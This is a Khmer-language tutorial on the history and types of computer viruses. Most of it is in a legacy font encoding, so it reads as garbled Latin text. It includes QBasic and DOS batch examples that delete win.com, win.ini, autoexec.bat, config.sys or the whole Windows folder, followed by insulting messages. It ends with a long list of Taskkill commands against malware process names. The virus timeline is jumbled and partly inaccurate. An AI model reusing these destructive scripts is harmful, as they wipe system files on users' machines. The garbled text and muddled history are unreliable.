ប្រវត្តិ វីរុស​ កុំព្យូទ័រ

etI Virus qøgtamrebobNa?

• Internet
• E-mail
• Internet browsing
• File Transfer (FTP)
• Newsgroups (News)
• Network
• Share Disk
• Flask
• CD

-VIRUS GacqøgedayxøÜnÉgtam Diskette rW Flash EdlmanCab;CamYy File epSgeTot Virus

Computer KWCakmµviFIGaccUlRKb;TIkEnøgenAkñúg Computer rWkñúg FileepSg²Biesskñúg Hard Disk.-sBVéf¶man 747 Virus Edlcab;sMlab;)annig Virus CaeRcInRbePTeTotcab;min)an

-Virus EdlmandMbUgenAkñúg Packet PC OS maneQµaHfa ”29 A virus” va)anqøgkat;ExS “Coble ”

Edl Copy ÉksarBI Computer.

-Virus eQµaH Cabir Worm vavaylukcUlkñúg Mobile edayqøgkat;tamBluetoothtamRbB½n§Network

mobile phone. Virus enHmanlkçNHBiessEdlsresrkñúgkmµviFI “Visual Studio.NET”

-Virus win 64 bit qøgkat;tamExSkñúg System Windows EdlmaneQµaHfa”Rugrat”EdleFVIeGayxUc

System IA64 rbs; Windows 64 bit vabMpøaj System Structure vaeRbIGnuKmn_ AIP rbs;

Win64 cMeBaH Virus Worm )anqøgtamryH InternetEdlCaRbePTemeraKbegáIteLIgeday

yuvsisS 18 qñaMeronenARbeTs Germany EdlmaneQµaHfa Sasser internet worm.

 NRbvtßiVIRUSN

13. Core War         (qñaM1983)

14. B rain              (1986)

15. Lehigh             (1987)ekItmanenAkñúgkmµviFIMicrosoft office

16. Robert             (1988)qøgtam Network

17. AIDS Trojan   (1989) qøgtam Network

18. Tequila            (1991)

19. Michelangelo   (1992)  “Bi)aksMlab;bMput”

20. Concept           (1995) CaRbePT Virus Macro

21. Boza                (1996) ekItkñúg Windows 95

22. Melissa,Bubble boy     (1999) qøgtamInternet

23.kñúgqñaM2000[DDos,love Letter]xøaMgkøabMput

24.qñaM2001[Winux Windows/Linux Virus,Nimda,Code Red]qøgBIRbB½n§Linux cUl

kñúgRbB½n§WindowsrWtamInternet

25.qñaM2002ðVirus qøgtamFile.SWF

                  ðViruseQµaHSQLS piderbMpøajkmµviFISQL

                  ðViruseQµaHPerrunqøgtamFilerUbPaB

26. qñaM2003ðVirus eQµaHBlaster(MSBlast),Welchia(Nachi),Mimail,Lovgate..vaeFVI[KaMgdMenIrkar

       DCOM-RPCelI Window2k,XP nigvaGacbBa¢a[ Computer [biTShutdown )anCaerogral;

       eBlEdleRcInEtqøgtamRbB½n§ Network EdlmanP¢ab;CamYy Internet

7qñaM2004 ViruseQµaHSkype nig BeagleqøgtamkmµviFI Skype eRbIsMrab;niyayqøgeqøIyVoice.

7qñaM2005 manelcecjRbePTVirusEdlqøgtamChartRbePTVirusenHqøgtamkmµviFIdUcCa

     Yahoo!kmµviFIMSNqøgenAeBlEdlelakGñkChat.

@Note

FcMeBaH Virus EdldMenIrkarkñúgDOSminpþl;plvi)akdl;eyIgb:unµaneT.

MviPaKeTAelI File EdlemeraK)anlub

kill “C:/windows/win.com”va)anbMpøajecal file win.com

kill “C:/windows/win.ini”   va)anbMpøajecal file win.ini

kill “C:/autoexec.bat”  va)anbMpøajecal           file autoexec.bat

kill “C:/config.sys”  va)anbMpøajecal file config.sys

print ”I hate people like you…” mann½yfavaeFVIkarbBaÄb;\p¥akmYyryHedIm,Ibgðaj

Message ”I hate people like you…” enAelIScreen monitor.

Sleep2 p¥akMessage ”I hate people like you…” cMnYn2 seconds

print”-Cyrus”bgðaj Message”I hate people like you…”enAelIScreen.

End    bBaÄb;nUvkarsresr

¯etIehtuGVI)anCa Virus lb;ecal File xageRkam?

etIvamansarHsMxan;y:agNa?

C:/windows/win.com

C:/windows/win.ini

C:/autoexec.bat

C:/config.sys

¯ C:/windows/win.com

vamansarHsMxan;sMrab;Restarting the computereLIgvijedIm,I[Computer booted

eLIgvijfile win.comvasMxan;sMrab;rt;cUlkñúgDOS.

¯ C:/windows/win.ini

vamansarHsMxan;sMrab;rt;elI Setting for windowsRbsinebIlubecal file win.ini

eBlenaHminGaccUlkñúg windows )aneLIy.

¯ C:/autoexec.bat

                   vamansarHsMxan;sMrab;rt; Start up Pøam²

¯ C:/config.sys

vamansarHsMxan;sMrab; Startup windowsEdr

¯NTLDR KWCa file sMrab;eBlEdl Start ComputerdMbUg

¯BOOT.INI

vasMxan;enAeBlEdleyIgmanWindows2EteyIg)anlubWindowsmYyecalEtenA

eBleyIgebIkComputerdMbUgvaenAEtecjMessage[eyIgSelect WindowsdEdl

dUecñHeyIgRtUveTAlubenAkñúgFile Boot.iniecalTukEtWindows mYyKt;.

Note :

¯@echo off

)anR)ab;ComputerrkSaTuk cd\ehIy)anR)ab; ComputereTAdl; cd:\windowsR)ab;

ComputerBIC:\eTAC:\windows@del win.comR)ab; Computer[lubecalWin.comBI

folderkñúgC:\window@del win.ini CamYyfile win.ini echo Fag

EX1:

@echo off

cd\

cd windows

@del win.com

@del win.ini

echo Fag,try to fix your computer now,End

EX2: RDsMrab;lub Folder

@echo off

cd\

rd windows’

echo you stupid bastard

echo hahahahahahahaha

echo Iown your ass

echo eeewww

echo goodbye

end….

RbePT Virus EdlCYbsBVéf¶

1.-Boot Viruses:eFVIeGayxUc Boot sector rbs; Floppy rW HDD.

    I.Boot sector vamansarHsMxan;bMputrbs; HDDEdlpÞúk Information vamanlT§PaBcab;epþIm

  Boot Computer BI Disk.

2.Macro Virus:(Relax. Melissa A, Bablas, 097M/Y2k)

vamanenAkñúg File kmµviFI

-Word (DOC) -Excel (XlS) -Power Point (ppt) -Access database (MDB) -Corel Draw….

vaeFVIeGaykmµviFIdMenIrkarKaMg²

3. Directory Virus:KWcUlkñúg System enAeBlEdleyIgkMBugebIk Filekñúg Directory BI Drive.

4.Encrypted (kmµviFIkMcat;emeraKKµanlT§PaB)

5.Polymorphic Virus: CaRbePT VirusEdlmankMritx<s;EdleRbIR)as;rab;rybec¢keTsvaeFVI

  eGayxUc File, program, macro disk EdlmaneQµaHfa Ywinz.

7.File Infector:CaRbePT Virus EdleFVIeGayxUc File program ­dUcCa File EXE nig COM.

8.Companion Virus:CaRbePT Virus EdleFVIeGayxUc FilevaeFVIskmµPaBpÞal;.Virus enHeFVI[

    MemoryePøckarcgcaMenAeBlEdldMenIrkarkmµviFI skmµPaBvaKWekIteLIgPøam²Edlman

   eQµaH Stator, Asimov,1539,Terrax,1069.

9.FAT Virus:(FAT File Allocation,Table)KWCaEpñkeRbIR)as;kñúg DisksMrab;cgsMB½n§PaBEpñkmYy

  én Computer.vaeFVIeGayxUclT§plkñúgBt’man)at;bg; File epSg²kñúg Directories.

10.Worms:vaeFVITMtak;TMngCamYySystemehIyrMxantamryH Email, Network, rWtam Chat (IRC­ rW  

    ICQ ) EdlmaneQµaHfa(PSWBugbear.B, Lovgate.F, Trile.C,Sobig.D,Mapsn).

11.Trojans rW Trojan Horse:Ca Virus dUcWormsEdrEtvaeFVIkarlubecalFilerWbMpøajBt’manenA

   kñúg HDDrWvalak;System rbs;eyIgdUcCaIRC.Sx2,Trifor.

12.Logic Bombus:KWvabMpøajDataenAkñúgComputerrbs;eyIg.

 

C:\Documents and Settings\DOLA\Desktop\New Folder>CD\

C:\>Taskkill /F /IM Mixa_I.exe /t

C:\>Taskkill /F /IM Mixa.exe /t

C:\>Taskkill /F /IM global.exe /t

C:\>Taskkill /F /IM clbcatq.exe /t

C:\>Taskkill /F /IM compact.exe /t

C:\>Taskkill /F /IM edb00017.exe /t

C:\>Taskkill /F /IM cmpbk32.exe /t

C:\>Taskkill /F /IM comuid.exe /t

C:\>Taskkill /F /IM syste.exe /t

C:\>Taskkill /F /IM cdaudio.exe /t

C:\>Taskkill /F /IM default.exe /t

C:\>Taskkill /F /IM system.exe /t

C:\>Taskkill /F /IM security.exe /t

C:\>Taskkill /F /IM securit.exe /t

C:\>Taskkill /F /IM comadmin.exe /t

C:\>Taskkill /F /IM res2.exe

C:\>Taskkill /F /IM cmdl32.exe /t

C:\>Taskkill /F /IM comres.exe /t

C:\>Taskkill /F /IM comrereg.exe /t

C:\>Taskkill /F /IM edb.exe /t

C:\>Taskkill /F /IM sa.exe /t

C:\>Taskkill /F /IM WIN06V3.exe /t

C:\>Taskkill /F /IM DOLA.exe /t

C:\>Taskkill /F /IM cvc.exe /t

C:\>Taskkill /F /IM avpo.exe /t

C:\>Taskkill /F /IM taskmgr.exe /t

C:\>Taskkill /F /IM cmdow.exe /t

C:\>Taskkill /F /IM HelpSvc.exe /t

C:\>Taskkill /F /IM Wmiadap.exe /t

C:\>Taskkill /F /IM userxp.exe /t

C:\>Taskkill /F /IM BootLoader.vbs

C:\>Taskkill /F /IM Play" "Boys.exe /t

C:\>Taskkill /F /IM sp00lsv.exe /t

C:\>Taskkill /F /IM pfw.exe /t

C:\>Taskkill /F /IM ccprxy.exe /t

C:\>Taskkill /F /IM ld.exe /t

C:\>Taskkill /F /IM ghost.exe /t

C:\>Taskkill /F /IM winexplorer.exe /t

C:\>Taskkill /F /IM winmgmt.exe /t

C:\>Taskkill /F /IM sysfile.exe /t

C:\>Taskkill /F /IM CrackPassword.exe /t

C:\>Taskkill /F /IM MSOffice.exe /t

C:\>Taskkill /F /IM RVHOST.exe /t

C:\>Taskkill /F /IM wuauclt.exe /t

C:\>Taskkill /F /IM isass.exe /t

C:\>Taskkill /F /IM handydriver.exe /t

C:\>Taskkill /F /IM lgfxtray.exe /t

C:\>Taskkill /F /IM lnks.exe /t

C:\>Taskkill /F /IM Flashy.exe /t

C:\>Taskkill /F /IM oop.exe /t

C:\>Taskkill /F /IM startup.exe /t

C:\>Taskkill /F /IM sylepromotion.exe /t

C:\>Taskkill /F /IM wscript.exe /t

C:\>Taskkill /F /IM boot.exe /t

C:\>Taskkill /F /IM fun.exe /t

C:\>Taskkill /F /IM dc.exe /t

C:\>Taskkill /F /IM dc2k5.exe /t